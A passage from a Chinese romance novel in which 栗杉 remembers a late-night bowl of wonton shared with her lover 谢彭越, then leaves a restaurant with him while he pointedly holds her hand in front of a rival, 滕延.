还记得第一次和谢彭越单独一起吃饭,是两个人做后的深夜。那次已经不知道是他们第几次发生关系,就在他的房间。 半夜三更,谢彭越端了两碗馄饨上楼,其中一碗是给栗杉的。栗杉那会儿也饿,没多说什么就低头吃了起来。但这满满一碗,她实在吃不完,还剩下二分之一的馄饨在碗里就说饱了。她怎么都没料到的是,谢彭越居然就着她剩下的那半碗吃了。 当时她惊愕地看着他,小声提醒:“这碗是我吃过的……” 谢彭越问:“你吃过的又怎么了?” 栗杉本想说脏,可随即一想,她才不脏呢,就改了口问:“你不介意吗?” 谢彭越笑:“介意什么?你的口水刚才我没少吃吗?” 他可不仅仅是吃她的口水而已。 那时候两个人关系很诡异,明明不算熟络,可双方的身体却日渐熟悉彼此,几乎每晚都在一起。 那会儿的栗杉在谢彭越的面前也算规矩听话,对他的话从无反抗之意。哪像后来,她在他面前越来越肆无忌惮。 不到一个小时的时间,这顿晚餐算是解决。 栗杉招来服务员,特地用团购券来买单,这样多少能省个十几块钱。 就百来块钱的餐费,谢彭越也没跟她争。见她这副斤斤计较的模样,总觉得是个乐子。 买了单,栗杉对谢彭越说:“好了,我们走吧。” “还想在商场逛逛么?”谢彭越问。 “不了,回去吧。” 也巧,栗杉这边刚买完单起来,那边的滕延和同伴们也用晚餐起身。 栗杉和谢彭越同时起身准备离开,因为他们的位置在里侧,所以出来时势必要经过滕延身边。 栗杉心里踌躇,正想着和滕延说点什么,却没料到,谢彭越突然牵住了她的手,与她十指紧扣。 她想甩开,他却越握越紧。 与此同时,滕延的视线一瞬不瞬地落在他们握紧的双手上。 他的目光不再是疑惑,而是瞬间了然了什么。 滕延是个聪明人,再抬眸看向谢彭越时,眼神中明显带有锋利。 至于谢彭越,依旧神色冷漠,不将对方放在放在眼中的傲慢姿态。 彼此磁场不合的原因,在这一刻有了清晰的答案。